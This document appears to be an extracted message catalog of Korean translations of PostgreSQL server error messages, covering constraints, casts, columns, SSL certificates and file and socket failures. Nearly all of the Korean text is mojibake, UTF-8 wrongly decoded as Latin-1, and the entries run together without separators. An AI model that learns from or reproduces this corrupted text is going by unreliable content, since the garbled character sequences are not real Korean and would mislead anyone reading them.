ì¸ë±ìФì—서는 %d개보다 ë§Žì€ ì—´ì„ ì‚¬ìš©í•  수 없습니다EXECUTE 매개 변수로 서브쿼리를 사용할 수 ì—†ìŠµë‹ˆë‹¤ì²´í¬ ì œì•½ ì¡°ê±´ì—서는 서브쿼리를 사용할 수 없습니다default 표현ì‹ì—서는 서브쿼리를 사용할 수 없습니다ì¸ë±ìФ ì‹(expression)ì— ì„œë¸Œì¿¼ë¦¬ë¥¼ 사용할 수 없습니다ì¸ë±ìФ 술어(predicate)ì— ì„œë¸Œì¿¼ë¦¬ë¥¼ 사용할 수 없습니다transform ì‹(expression)ì— ì„œë¸Œì¿¼ë¦¬ë¥¼ 사용할 수 없습니다ë„ë©”ì¸ ìš© ì²´í¬ ì œì•½ ì¡°ê±´ì—서는 í…Œì´ë¸” 참조를 사용할 수 없습니다bytea 형ì‹ì—서는 대/소문ìžë¥¼ 구분하지 않는 ì¼ì¹˜ê°€ ì§€ì›ë˜ì§€ 않ìŒ%s ìžë£Œí˜•ì„ %s ìžë£Œí˜•으로 바꾸는 작업%s 형ì—서 %s 형으로 변환하는 형변환 규칙(cast)ì´ ì´ë¯¸ 있습니다%s 형ì—서 %s 형으로 바꾸는 형변환 규칙(cast)ê°€ ì—†ìŒ%s 형ì—서 %s 형으로 바꾸는 형변환 규칙(cast)ì´ ì—†ìŒ, 건너 뜀형변환 함수는 집계함수가 아니여야합니다형변환 함수는 volatile íŠ¹ì„±ì´ ì—†ì–´ì•¼í•©ë‹ˆë‹¤í˜•ë³€í™˜ 함수는 세트(set)를 리턴할 수 없습니다형변환 함수는 1-3ê°œì˜ ì¸ìˆ˜ë§Œ 지정할 수 있습니다%s í•¨ìˆ˜ì˜ ì¸ìˆ˜ ìžë£Œí˜•ì„ "opaque"ì—서 "cstring"으로 바꿉니다%s í•¨ìˆ˜ì˜ ì¸ìˆ˜ ìžë£Œí˜•ì„ "opaque"ì—서 %s ìžë£Œí˜•으로 바꿉니다%s í•¨ìˆ˜ì˜ ë¦¬í„´ ìžë£Œí˜•ì„ "opaque"ì—서 "cstring"으로 바꿉니다%s 함수ì—서 "opaque" ìžë£Œí˜•ì„ "language_handler" ìžë£Œí˜•으로 리턴 ìžë£Œí˜•ì„ ë°”ê¿‰ë‹ˆë‹¤%s í•¨ìˆ˜ì˜ ë¦¬í„´ ìžë£Œí˜•ì„ "opaque"ì—서 "trigger"로 바꿉니다%s í•¨ìˆ˜ì˜ ë¦¬í„´ ìžë£Œí˜•ì„ "opaque"ì—서 %s ìžë£Œí˜•으로 바꿉니다<qbq>외부 ë°ì´í„° ëž˜í¼ ìœ íš¨ì„± 검사기를 바꾸면 ì¢…ì† ê°œì²´ì— ëŒ€í•œ ì˜µì…˜ì´ <qbq>유효하지 ì•Šì„ ìˆ˜ 있ìŒcharacter 0x%s of encoding "%s" has no equivalent in "%s""%s" ì´ë¦„ì˜ ì²´í¬ ì œì•½ ì¡°ê±´ì´ ì´ë¯¸ 있습니다"%s" ì²´í¬ ì œì•½ ì¡°ê±´ì„ ìœ„ë°˜í•˜ëŠ” 몇몇 ìžë£Œê°€ ì´ë¯¸ 있습니다<qbq>"%s" ì²´í¬ ì œì•½ ì¡°ê±´ ì´ë¦„ì´ ì—¬ëŸ¬ 번 표시ë˜ì§€ë§Œ ê°ê° 다른 <qbq>ì‹ì´ í¬í•¨ë¨ë¹„ë°€í‚¤ì˜ í™•ì¸ ì‹¤íŒ¨: %sì²´í¬í¬ì¸íЏ 레코드 위치: %X/%Xì²´í¬í¬ì¸íЏ 요청 실패하위 í”„ë¡œê·¸ëž¨ì€ %d 코드로 마쳤습니다하위 프로그램 í”„ë¡œê·¸ëž¨ì€ ì˜ˆìƒì¹˜ 못한 %d ìƒíƒœê°’으로 종료ë˜ì—ˆìŠµë‹ˆë‹¤0x%X 예외처리로 하위 프로세스가 종료ë˜ì—ˆìŠµë‹ˆë‹¤í•˜ìœ„ í”„ë¡œê·¸ëž¨ì€ %d ì‹ í˜¸ì— ì˜í•´ì„œ 종료ë˜ì—ˆìŠµë‹ˆë‹¤%s 시그ë„ì´ ê°ì§€ë˜ì–´ 하위 프로세스가 종료ë˜ì—ˆìŠµë‹ˆë‹¤"%s" ìƒì†ëœ í…Œì´ë¸”ì˜ "%s" ì—´ ìžë£Œí˜•ì´ ìƒìœ„ í…Œì´ë¸”ì˜ ìžë£Œí˜•ê³¼ 틀립니다ìžì‹ í…Œì´ë¸”ì—는 "%s" ì—´ì´ ì—†ìŠµë‹ˆë‹¤ìžì‹ í…Œì´ë¸”ì— "%s" 제약 ì¡°ê±´ì´ ì—†ìŠµë‹ˆë‹¤ìˆœí™˜ ë˜ëŠ” ìƒì†ì€ 허용하지 않습니다<qbq>루트 ì¸ì¦ì„œ 저장소가 사용 가능한 경우ì—ë§Œ í´ë¼ì´ì–¸íЏ ì¸ì¦ì„œë¥¼ <qbq>검사할 수 있ìŒ"cert" ì¸ì¦ì„ 사용하는 경우 clientcert를 0으로 설정할 수 ì—†ìŒclientcert는 "hostssl" í–‰ì— ëŒ€í•´ì„œë§Œ 구성할 수 있ìŒì´ë¯¸ 있는 "%s" 커서를 닫습니다기본키 제약 ì¡°ê±´ì—서 "%s" ì—´ì´ ë‘ ë²ˆ 지정ë˜ì—ˆìŠµë‹ˆë‹¤ê³ ìœ  제약 ì¡°ê±´ì—서 "%s" ì—´ì´ ë‘ ë²ˆ 지정ë˜ì—ˆìŠµë‹ˆë‹¤"%s" ì—´ì€ SETOF를 지정할 수 없습니다"%s" ì—´ì—는 null ê°’ ìžë£Œê°€ 있습니다"%s" ì´ë¦„ì˜ ì—´ì´ ì—†ìŠµë‹ˆë‹¤"%s" ì—´ì˜ ìžë£Œí˜•ì´ ì¶©ëŒí•©ë‹ˆë‹¤"%s" ì—´ì€ %s ì˜ì‚¬ ìžë£Œí˜•(pseudo-type)ì„ ì‚¬ìš©í•©ë‹ˆë‹¤"%s" ì—´ì˜ ìžë£Œí˜•ì´ "unknown" 입니다ìžì‹ í…Œì´ë¸”ì˜ "%s" ì—´ì€ NOT NULL ì†ì„±ì´ 있어야합니다ìƒì† 받는 "%s" ì—´ ìžë£Œí˜•ê³¼ ì´ ì—´ì— ì§€ì •í•œ default ê°’ì˜ ìžë£Œí˜•ì´ ì„œë¡œ 다릅니다"%s" ì—´ì€ ê¸°ë³¸í‚¤ 열입니다"%s" ì—´ì˜ ìžë£Œí˜•ì€ %s ì¸ë°, default 표현ì‹ì—서는 %s ìžë£Œí˜•ì„ ì‚¬ìš©í–ˆìŠµë‹ˆë‹¤ì—´ "%s"ì€(는) %s ìžë£Œí˜•ì¸ë° 표현ì‹ì€ %s ìžë£Œí˜•입니다.키ì—서 지정한 "%s" ì—´ì´ ì—†ìŠµë‹ˆë‹¤"%s" ì—´ì€ %s ìžë£Œí˜•ì„ ì°¾ì„ ìˆ˜ ì—†ìŒ"%s" ì´ë¦„ì˜ ì—´ì´ "%s" 릴레ì´ì…˜(relation)ì— ì´ë¯¸ 있습니다"%s" ì—´ì€ "%s" 릴레ì´ì…˜(relation)ì— ì—†ìŒ"%s" ì—´(해당 í…Œì´ë¸” "%s")ì˜ ìžë£Œ ê°€ìš´ë° null ê°’ì´ ìžˆìŠµë‹ˆë‹¤"%s" ì—´(해당 í…Œì´ë¸” "%s")ì˜ ìžë£Œ 중ì—, 새 제약 ì¡°ê±´ì„ ìœ„ë°˜í•˜ëŠ” ìžë£Œê°€ 있습니다참조키(foreign key) 제약 ì¡°ê±´ì—서 참조하는 "%s" ì—´ì´ ì—†ìŒUSING ì¡°ê±´ì ˆì—서 지정한 "%s" ì—´ì´ ì™¼ìª½ í…Œì´ë¸”ì— ì—†ìŒUSING ì¡°ê±´ì ˆì—서 지정한 "%s" ì—´ì´ ì˜¤ë¥¸ìª½ í…Œì´ë¸”ì— ì—†ìŒ"%s" ì—´ì„ í•˜ë‚˜ ì´ìƒ 지정했ìŒcolumn "%s.%s" 는 반드시 GROUP BY ì ˆë‚´ì— ìžˆì–´ì•¼ 하ë˜ì§€ ë˜ëŠ” 집합함수 ë‚´ì—서 사용ë˜ì–´ì ¸ì•¼ 한다%d번째 ì—´ì´ ì—†ìŠµë‹ˆë‹¤. 해당 릴레ì´ì…˜: "%s"%s.%s ì—´ì´ ì—†ìŒ "%s" 를 위한 ì—´ alias list ì— ë„ˆë¬´ ë§Žì€ entry ê°€ í¬í•¨ë˜ì–´ 있다%s ìžë£Œí˜•ì˜ columnì˜ STORAGE ê°’ì€ ë°˜ë“œì‹œ PLAIN ì´ì–´ì•¼í•©ë‹ˆë‹¤í•˜ìœ„ í…Œì´ë¸”ì—ë„ ì—´ì„ ì¶”ê°€í•´ì•¼ 함USING ì ˆ ë‚´ì— ì—´ ì´ë¦„ "%s" ê°€ 한번 ì´ìƒ 사용ë˜ì—ˆìŠµë‹ˆë‹¤"%s" ì—´ ì´ë¦„ì€ ì‹œìŠ¤í…œ ì—´ ì´ë¦„ê³¼ ì¶©ëŒí•©ë‹ˆë‹¤CREATE TABLE / AS EXECUTE 명령ì—서는 ì—´ ì´ë¦„ 목ë¡ì€ í—ˆë½ë˜ì§€ 않ìŒGRANT/REVOKE ROLEì— ì—´ ì´ë¦„ì„ í¬í•¨í•  수 ì—†ìŒ.%s í‘œí˜„ì´ %s ìžë£Œí˜• 사용ë˜ì—ˆëŠ”ë°, ì´ëŠ” 복소수형 (complex type)ì´ ì•„ë‹™ë‹ˆë‹¤ì—´ 참조 "%s" ê°€ 명확하지 않습니다.left table ë‚´ì— common column ì´ë¦„  "%s" ê°€ 한번 ì´ìƒ 사용ë˜ì—ˆë‹¤common column name "%s"ê°€ right table ì— í•œë²ˆ ì´ìƒ 사용ë˜ì—ˆë‹¤"dynamic_library_path" 매개 변수 값으로 절대 경로를 사용할 수 ì—†ìŒ%s 복합 ìžë£Œí˜•복합 ìžë£Œí˜•ì€ ì ì–´ë„ 하나 ì´ìƒì˜ ì†ì„±ì´ 있어야합니다시스템 카탈로그 í…Œì´ë¸”ì—서 공존하는 ì¸ë±ìФ 만들기는 ì§€ì›í•˜ì§€ 않습니다ë°ì´í„°ë² ì´ìФ ì‹œìŠ¤í…œì´ ì¤‘ì§€ë˜ëŠ” ë™ì•ˆ 현재 트랜잭션 로그가 활성화 ë˜ì—ˆìŒconditional UNION/INTERSECT/EXCEPT êµ¬ë¬¸ì€ êµ¬í˜„ë˜ì–´ 있지 않다조건 유틸리티 명령 구문(conditional utility statement)ì€ êµ¬í˜„ë˜ì–´ìžˆì§€ 않습니다"%s" 구성 ì—´ì€ nullì´ ì•„ë‹ˆì–´ì•¼ 함"datestyle" ì§€ì •ì´ ì¶©ëŒí•¨NULL/NOT NULL ì¡°ê±´ì´ í•¨ê»˜ 있ìŒNULL/NOT NULL ì„ ì–¸ì´ ì„œë¡œ ì¶©ëŒí•©ë‹ˆë‹¤ : column "%s" of table "%s"ìƒì¶©í•˜ê±°ë‚˜ ì¤‘ë³µëœ ì˜µì…˜ë“¤í˜•ì‹ ë¬¸ìžì—´ì—서 "%s" í•„ë“œì˜ ê°’ì´ ì¶©ëŒí•¨ì—°ê²° ì¸ì¦: 사용ìž=%s ë°ì´í„°ë² ì´ìФ=%sì—°ê²° 최대수가 초과 ë˜ì–´ ë”ì´ìƒ ì¼ë°˜ 사용ìžì˜ ì—°ê²°ì„ í—ˆìš©í•  수 없습니다COPY 명령ì—서 stdout으로 ìžë£Œë¥¼ 내보내는 ë™ì•ˆ ì—°ê²°ì´ ëŠê²¼ìŠµë‹ˆë‹¤ì—°ê²° 대ìƒ: host=%s%s%sì¼ì¹˜í•˜ëŠ” 복구 ìƒíƒœì— ë„달함"%s" ì´ë¦„ì˜ ì œì•½ ì¡°ê±´ì´ ì—†ìŒ"%s" 제약 ì¡°ê±´ì´ "%s" ë„ë©”ì¸ì— ì´ë¯¸ 지정ë˜ì–´ 있습니다"%s" 제약 ì¡°ê±´ì´ ì´ë¯¸ "%s" 릴레ì´ì…˜(relation)ì—서 사용ë˜ê³  있습니다"%s" 제약 ì¡°ê±´ì€ "%s" í…Œì´ë¸”ì— ì—†ìŒ"%s" 제약 ì¡°ê±´ì€ DEFERRABLE ì†ì„±ìœ¼ë¡œ 만들어지지 않았습니다제약 ì¡°ê±´ %sINITIALLY DEFERRED 로 ì„ ì–¸ëœ ì¡°ê±´ë¬¸ì€ ë°˜ë“œì‹œ DEFERABLE 여야만 한다하위 í…Œì´ë¸”ì—ë„ ì œì•½ ì¡°ê±´ì„ ì¶”ê°€í•´ì•¼ 함%X/%Xì—서 contrecord를 필요로 함컨트롤 파ì¼ì— ìž˜ëª»ëœ ë°ì´í„°ê°€ 있습니다"%s" ì´ë¦„ì˜ ë³€í™˜ê·œì¹™(conversion)ì´ ì´ë¯¸ 있ìŒ"%s" ì´ë¦„ì˜ ë³€í™˜ê·œì¹™(conversin)ì´ "%s" ìŠ¤í‚¤ë§ˆì— ì´ë¯¸ 있습니다"%s" 문ìžì½”드변환규칙(conversion) ì—†ìŒ"%s" 문ìžì½”드변환규칙(conversion) ì—†ìŒ, 건너 뜀%s 문ìžì½”드변환규칙%s ì¸ì½”딩과 %s ì¸ì½”딩 사ì´ì˜ ë³€í™˜ì€ ì§€ì›í•˜ì§€ 않습니다wchar_tì—서 서버 ì¸ì½”딩으로 변환하지 못함: %mOID %u ì¸ì½”딩 변환규칙(conversion) ì—†ìŒíŠ¸ë¦¬ê±° ê·¸ë£¹ì„ "%s" %s 제약 조건으로 변환하는 중ì†ìƒëœ ì•„ì´í…œ 길ì´: ì „ì²´ %u, 사용가능한 공간 %uì†ìƒëœ ì•„ì´í…œ 위치: %uì†ìƒëœ ì•„ì´í…œ 위치: 오프셋 = %u, í¬ê¸° = %uì†ìƒëœ 페ì´ì§€ 위치: 하위값 = %u, ìƒìœ„ê°’ = %u, 특수값 = %upgstat.stat 파ì¼ì´ ì†ìƒë˜ì—ˆìŒSSL ì—°ê²°ì„ ë°›ì•„ë“œë¦´ 수 없습니다: %mSSL ì—°ê²°ì„ ë°›ì•„ë“œë¦´ 수 없습니다: %sSSL ì—°ê²°ì„ ë°›ì•„ë“œë¦´ 수 없습니다: EOF ê°ì§€ë¨ìƒˆë¡œìš´ ì—°ê²°ì„ ìƒì„±í•  수 없습니다: %m"%s" 디렉터리를 액세스할 수 없습니다: %m"%s" 파ì¼ì— 액세스할 수 ì—†ìŒ: %m비밀키 "%s"ì— ì•¡ì„¸ìŠ¤í•  수 없습니다: %m%u íŠ¸ëžœìž­ì…˜ì˜ ìƒíƒœë¥¼ 액세스할 수 ì—†ìŒê³µìœ  메모리 할당 실패, 세그먼트 "%s"%s ì†Œì¼“ì— ë°”ì¸ë“œí•  수 없습니다: %m통계 수집기ì—서 사용할 소켓과 bindí•  수 없습니다: %m최대 ì ‘ì†ìž 수 MAXLISTEN (%d) 초과로 ë” ì´ìƒ ì ‘ì†ì´ 불가능합니다로컬 주소 "%s"ì— ë°”ì¸ë“œí•  수 없습니다: %m"%s" 디렉터리로 현재 디렉터리를 바꿀 수 없습니다"%s" ì´ë¦„ì˜ ë””ë ‰í„°ë¦¬ë¡œ ì´ë™í•  수 없습니다: %mbootstrap 트랜잭션 로그 파ì¼ì„ ë‹«ì„ ìˆ˜ ì—†ìŒ: %m컨트롤 íŒŒì¼ ë‹«ê¸° 실패: %m"%s" 파ì¼ì„ ë‹«ì„ ìˆ˜ ì—†ìŒ: %m백엔드 변수 파ì¼ì„ ë‹«ì„ ìˆ˜ ì—†ìŒ: 오류 코드 %d
%u log fileì„ ë‹«ì„ ìˆ˜ ì—†ìŒ, 세그먼트 %u: %m"%s" 임시 통계 파ì¼ì„ ë‹«ì„ ìˆ˜ 없습니다: %m"%s" ì´ë¦„ì˜ two-phase ìƒíƒœì •ë³´ 파ì¼ì„ ë‹«ì„ ìˆ˜ ì—†ìŒ: %mtwo-phase ìƒíƒœì •ë³´ 파ì¼ì„ ë‹«ì„ ìˆ˜ ì—†ìŒ: %m유니코드 문ìžì—´ ë¹„êµ ì‹¤íŒ¨: %m통계 수집기ì—서 사용할 ì†Œì¼“ì— ì—°ê²°í•  수 없습니다: %m주소 "%s", í¬íЏ %sì˜ Ident 서버ì—게 ì—°ê²°í•  수 없습니다: %mUTF-16 ì¸ì½”딩으로 문ìžì—´ì„ 변환할 수 ì—†ìŒ: 오류 %lu"%s" í…Œì´ë¸”ì„ ìƒì† 받는 í…Œì´ë¸”ì´ ìžˆì–´ 뷰로 변활할 수 없습니다"%s" í…Œì´ë¸”ì— ì¸ë±ìŠ¤ê°€ í¬í•¨ë˜ì–´ 있어 뷰로 변환할 수 없습니다"%s" í…Œì´ë¸”ì— íŠ¸ë¦¬ê±°ê°€ í¬í•¨ë˜ì–´ 있어 뷰로 변환할 수 없습니다"%s" í…Œì´ë¸”ì— ìžë£Œê°€ 있기 때문ì—, í…Œì´ë¸”ì„ ë·°ë¡œ 변환할 수 없습니다"%s" time zone으로 변환할 수 ì—†ìŒ%s ì†Œì¼“ì„ ìƒì„±í•  수 없습니다: %mPAM ì¸ì¦ìžë¥¼ ìƒì„±í•  수 없습니다: %sSSL 컨í…스트 정보를 ìƒì„±í•  수 없습니다: %s유닉스 ë„ë©”ì¸ ì†Œì¼“ì„ ë§Œë“¤ 수 없습니다TCP/IP ì†Œì¼“ì„ ë§Œë“¤ 수 없습니다."%s" archive status 파ì¼ì„ 만들 수 없습니다: %m"%s" 컨트롤 íŒŒì¼ ë§Œë“¤ 수 ì—†ìŒ: %m"%s" 디렉터리를 만들 수 ì—†ìŒ: %m"%s" 파ì¼ì„ 만들 수 ì—†ìŒ: %mìƒì†ëœ ì†Œì¼“ì„ ë§Œë“¤ 수 ì—†ìŒ: 오류 코드 %d
"%s" ì‘당 ì†Œì¼“ì„ ë§Œë“¤ 수 없습니다"%s" 잠금 파ì¼ì„ 만들 수 ì—†ìŒ: %m"%s" 로그파ì¼ì„ 만들 수 ì—†ìŒ: %msyslogì—서 사용할 파ì´í”„를 만들 수 없습니다: %m"%s" 릴레ì´ì…˜-ìºì‹œ 초기화 파ì¼ì„ 만들 수 ì—†ìŒ: %m세마í¬ì–´ë¥¼ 만들 수 ì—†ìŒ: 오류번호 %d세마í¬ì–´ë¥¼ 만들 수 ì—†ìŒ: %m서버 íŒŒì¼ "%s"ì˜ ìƒì„±ì„ í•  수 없습니다: %m공유 메모리 세그먼트를 만들 수 ì—†ìŒ: %mì‹œê·¸ë„ ë””ìŠ¤íŒ¨ì¹˜ 쓰레드를 만들 수 ì—†ìŒ: 오류 코드 %d
%d pid를 위한 ì‹œê·¸ë„ ë¦¬ìŠ¨ë„ˆ 파ì´í”„를 만들 수 ì—†ìŒ: 오류 코드 %d신호 수신기 파ì´í”„를 만들 수 ì—†ìŒ: 오류 코드 %d, 다시 시작 중
Ident ì—°ê²°ì— ì†Œì¼“ì„ ìƒì„±í•  수 없습니다: %m통계 수집기ì—서 사용할 ì†Œì¼“ì„ ë§Œë“¤ 수 없습니다: %m"%s" 심벌릭 ë§í¬ë¥¼ 만들 수 ì—†ìŒ: %m"%s" ì´ë¦„ì˜ two-phase ìƒíƒœì •ë³´ 파ì¼ì„ 만들 수 ì—†ìŒ: %m"%s" í•¨ìˆ˜ì˜ ì‹¤ìž¬ 리턴 ìžë£Œí˜•ì„ ì•Œ 수 ì—†ìŒ, ì •ì˜ëœ 리턴 ìžë£Œí˜•: %s<qbq>%s 형ì‹ì„ 반환하ë„ë¡ ì„ ì–¸ëœ í•¨ìˆ˜ì˜ ì‹¤ì œ ê²°ê³¼ 형ì‹ì„ <qbq>확ì¸í•  수 ì—†ìŒ%s ì¸ìˆ˜ì˜ ìžë£Œí˜•으로 지정한 ìžë£Œí˜•ì˜ ê¸°ë³¸ ìžë£Œí˜•ì„ ì°¾ì„ ìˆ˜ 없습니다$%d 매개 ë³€ìˆ˜ì˜ ìžë£Œí˜•ì„ ì•Œìˆ˜ê°€ 없습니다.ìž…ë ¥ ìžë£Œí˜•ì„ ê²°ì •í•  수 없습니다.%s í–‰ ë¹„êµ ì—°ì‚°ìžì˜ êµ¬ë¬¸ì„ ë¶„ì„í•  수 없습니다레코드를 리턴하는 함수를 위한 í–‰(row) 구성 정보를 구할 수 ì—†ìŒë°±ì—”드ì—서 사용하기 위해 %d ì†Œì¼“ì„ ë³µì‚¬í•  수 ì—†ìŒ: 오류 코드 %d신뢰 승ì¸ì„ 가능하게 í•  수 없습니다: %m"%s" 서버 프로세스를 실행할 수 ì—†ìŒ: %m%u 로그파ì¼ì„ fdatasyncí•  수 ì—†ìŒ, 세그먼트 %u: %m"%s" 실행 파ì¼ì„ ì°¾ì„ ìˆ˜ ì—†ìŒìžë£Œí˜• %s ì— ëŒ€í•´ì„œëŠ” ë°°ì—´ ìžë£Œí˜•ì„ ì‚¬ìš©í•  수 없습니다"%s" 함수를 "%s" 파ì¼ì—서 ì°¾ì„ ìˆ˜ ì—†ìŒarchiver 할당(fork) 실패: %m백그ë¼ìš´ writer 프로세스를 할당(fork)í•  수 없습니다: %mì—°ê²°ì„ ìœ„í•œ 새 프로세스 할당(fork) 실패: ì—°ê²°ì„ ìœ„í•œ 새 프로세스 할당(fork) 실패: %m프로세스 할당(fork) 실패: %m시작 프로세스 할당(fork) 실패: %m통계 수집기를 forkí•  수 없습니다: %m시스템 로거(logger)를 확보하질 못 했습니다: %më¶€ì ì ˆí•œ "circle" ê°’ì˜ í¬ë§·ë¶€ì ì ˆí•œ "path" ê°’ì˜ í¬ë§·cidr ê°’ì„ ì²˜ë¦¬í•  수 ì—†ìŒ: %minet ê°’ì˜ í˜•ì‹ì„ 지정할 수 ì—†ìŒ: %mbootstrap 트랜잭션 로그 파ì¼ì„ fsyncí•  수 ì—†ìŒ: %m컨트롤 íŒŒì¼ fsync 실패: %m"%s" íŒŒì¼ fsync 실패: %m%u 로그파ì¼ì„ fsyncí•  수 ì—†ìŒ, 세그먼트 %u: %m"%s" ì´ë¦„ì˜ two-phase ìƒíƒœì •ë³´ 파ì¼ì˜ fsync 작업 실패: %mtwo-phase ìƒíƒœì •ë³´ 파ì¼ì˜ fsync 작업 실패: %mwrite-through 로그 파ì¼(%u)ì„ fsyncí•  수 ì—†ìŒ, 세그먼트 %u: %mAdministrators ê·¸ë£¹ì˜ SID를 가져올 수 ì—†ìŒ: 오류 코드 %d
PowerUsers ê·¸ë£¹ì˜ SID를 가져올 수 ì—†ìŒ: 오류 코드 %d
통계 수집기ì—서 사용할 ì†Œì¼“ì˜ ì£¼ì†Œë¥¼ 구할 수 없습니다: %m신뢰성 피어를 ì–»ì„ ìˆ˜ 없습니다: %m%s ìžë£Œí˜•ì—서 사용할 비êµí•¨ìˆ˜ë¥¼ ì°¾ì„ ìˆ˜ 없습니다.%s ìžë£Œí˜•ì—서 사용할 ë™ë“± ì—°ì‚°ìž(equality operator)를 ì°¾ì„ ìˆ˜ 없습니다.%s ìžë£Œí˜•ì—서 사용할 순서 정하는 ì—°ì‚°ìžë¥¼ ì°¾ì„ ìˆ˜ 없습니다.레코드 ë°ì´í„° 형ì‹ì—서 "%s" ì—´ì„ ì‹ë³„í•  수 ì—†ìŒí˜„재 디렉터리를 파악할 수 ì—†ìŒ: %sDISTINCT를 구현할 수 ì—†ìŒGROUP BY를 구현할 수 ì—†ìŒìž¬ê·€ UNIONì„ êµ¬í˜„í•  수 ì—†ìŒì°½ ORDER BY를 구현할 수 ì—†ìŒì°½ PARTITION BY를 구현할 수 ì—†ìŒLDAP 초기화 실패: 오류번호 %dSSLì—°ê²°ì„ ì´ˆê¸°í™”í•  수 없습니다: %s"%s" 파ì¼ì„ "%s" 파ì¼ë¡œ ë§í¬í•˜ê¸° 실패 (%u 로그 íŒŒì¼ ì´ˆê¸°í™”, 세그먼트 %u): %m"%s" 파ì¼ì„ "%s" 파ì¼ë¡œ ë§í¬í•  수 ì—†ìŒ: %m%s ì†Œì¼“ì„ ë“¤ì„ ìˆ˜ 없습니다: %mcould not load function _ldap_start_tls_sA in wldap32.dll"%s" ë¼ì´ë¸ŒëŸ¬ë¦¬ë¥¼ 불러 올 수 ì—†ìŒ: %s비밀키 íŒŒì¼ "%s"ì„ ë¶ˆëŸ¬ë“¤ì¼ ìˆ˜ 없습니다: %sroot ì¸ì¦ì„œ íŒŒì¼ "%s"ì„ ë¶ˆëŸ¬ë“¤ì¼ ìˆ˜ 없습니다: %s서버 ì¸ì¦ì„œ íŒŒì¼ "%s"ì„ ë¶ˆëŸ¬ë“¤ì¼ ìˆ˜ 없습니다: %scould not load wldap32.dllì²´í¬í¬ì¸íЏ ë ˆì½”ë“œì˜ ìœ„ì¹˜ë¥¼ 바르게 ìž¡ì„ ìˆ˜ ì—†ìŒìš”ì²­ëœ ì²´í¬í¬ì¸íЏ ë ˆì½”ë“œì˜ ìœ„ì¹˜ë¥¼ 바르게 ìž¡ì„ ìˆ˜ ì—†ìŒì„¸ë§ˆí¬ì–´ë¥¼ 잠글 수 ì—†ìŒ: 오류번호 %d"%s" ì—°ì‚°ìž í´ëž˜ìŠ¤ë¥¼ %s ìžë£Œí˜•ì˜ ê¸°ë³¸ê°’ìœ¼ë¡œ 지정할 수 없습니다백엔드 변수 파ì¼ì˜ view를 mapí•  수 ì—†ìŒ: 오류 코드 %d
"%s" 릴레ì´ì…˜ì˜ 잠금 정보를 구할 수 ì—†ìŒ%u OID 릴레ì´ì…˜ì˜ 잠금 정보를 구할 수 ì—†ìŒ"%s" 릴레ì´ì…˜ì˜ 잠금 정보를 구할 수 ì—†ìŒIdent 유저맵 íŒŒì¼ "%s"ì„ ì—´ìˆ˜ 없습니다: %m"%s" 디렉터리를 ì—´ 수 없습니다: %m설정 íŒŒì¼ "%s"ì„ ì—´ìˆ˜ 없습니다: %m설정 íŒŒì¼ "%s"ì„ ì—´ 수 없습니다: 최대 디렉터리 깊ì´ë¥¼ 초과했ìŒ"%s" 컨트롤 íŒŒì¼ ì—´ê¸° 실패: %m"%s" 디렉터리 ì—´ 수 ì—†ìŒ: %m"%s" 디렉터리 ì—´ 수 ì—†ìŒ: %s
"%s" 파ì¼ì„ 열기 실패 (ë¡œê·¸íŒŒì¼ %u, 세그먼트 %u): %m"%s" íŒŒì¼ ì—´ê¸° 실패: %m"%s" íŒŒì¼ ì—´ê¸° 실패: %m"%s" 파ì¼ì„ ì—´ 수 ì—†ìŒ: %m"%s" 잠금파ì¼ì„ ì—´ 수 ì—†ìŒ: %m"%s" 새 로그파ì¼ì„ ì—´ 수 ì—†ìŒ: %m프로세스 토í°ì„ ì—´ 수 ì—†ìŒ: 오류 코드 %d
복구명령 íŒŒì¼ "%s"ì„ ì—´ 수 없습니다: %m2ì°¨ ì¸ì¦íŒŒì¼ "%s"으로 "@%s"를 ì—´ 수 없다: %m서버 íŒŒì¼ "%s"ì„ ì—´ 수 없습니다: %m"%s" í…Œì´ë¸” 스페ì´ìФ 디렉터리 ì—´ 수 ì—†ìŒ: %m"%s" 임시 통계 파ì¼ì„ ì—´ 수 ì—†ìŒ: %m"%s" 트랜잭션 로그 디렉터리 열기 실패: %m"%s" ì´ë¦„ì˜ two-phase ìƒíƒœì •ë³´ 파ì¼ì„ ì—´ 수 ì—†ìŒ: %m지정한 "%s" 매개 ë³€ìˆ˜ê°’ì˜ êµ¬ë¬¸ë¶„ì„ì„ ì‹¤íŒ¨í–ˆìŠµë‹ˆë‹¤."%s" 트랜잭션 로그 위치를 ë¶„ì„í•  수 ì—†ìŒ"%s" ë°”ì´ë„ˆë¦¬ 파ì¼ì„ ì½ì„ 수 ì—†ìŒìž„시 파ì¼ì˜ %ld ë¸”ëŸ­ì„ ì½ì„ 수 ì—†ìŒ: %m"%s" 디렉터리를 ì½ì„ 수 ì—†ìŒ: %m"%s" 디렉터리를 ì½ì„ 수 ì—†ìŒ: %s
"%s" 파ì¼ì„ ì½ì„ 수 ì—†ìŒ: %mCOPY ëª…ë ¹ì— ì‚¬ìš©í•  파ì¼ì„ ì½ì„ 수 없습니다: %m"%s" 백엔드 변수 파ì¼ì„ ì½ì„ 수 ì—†ìŒ: %s
컨트롤 íŒŒì¼ ì½ê¸° 실패: %m"%s" 파ì¼ì„ ì½ì„ 수 ì—†ìŒ: %m해시-ì¡°ì¸ ìž„ì‹œ 파ì¼ì„ ì½ì„ 수 ì—†ìŒ: %m%u 로그 íŒŒì¼ ì½ê¸° 실패, 세그먼트 %u, 오프셋 %u: %m로그 파ì´í”„ì—서 ì½ê¸° 실패: %m"%s" 잠금 파ì¼ì„ ì½ì„ 수 ì—†ìŒ: %m"%s" 디렉터리 ì½ê¸° 권한 ì—†ìŒ: %m서버 íŒŒì¼ "%s"ì„ ì½ì„ 수 없습니다: %m통계 메시지를 ì½ì„ 수 ì—†ìŒ: %m"%s" 심벌릭 ë§í¬ë¥¼ ì½ì„ 수 ì—†ìŒ"%s" time zone 파ì¼ì„ ì½ì„ 수 ì—†ìŒ: %m"%s" ì´ë¦„ì˜ two-phase ìƒíƒœì •ë³´ 파ì¼ì„ ì½ì„ 수 ì—†ìŒ: %mí´ë¼ì´ì–¸íЏì—게 ë°ì´í„°ë¥¼ ë°›ì„ ìˆ˜ 없습니다: %m주소 "%s", í¬íЏ %sì˜ Ident 서버로부터 ì‘ë‹µì„ ë°›ì§€ 못했습니다: %m통계 수집기ì—서 사용할 소켓으로 테스트 메시지를 ë°›ì„ ìˆ˜ 없습니다: %m"%s" ì´ë¦„ì˜ two-phase ìƒíƒœì •ë³´ 파ì¼ì„ 다시 만들 수 ì—†ìŒ: %m표준오류(stderr)를 redirect 하지 못했습니다: %mí‘œì¤€ì¶œë ¥ì„ redirect 하지 못했습니다: %mPAM ì¸ì¦ìžë¥¼ 릴리즈할 수 없습니다: 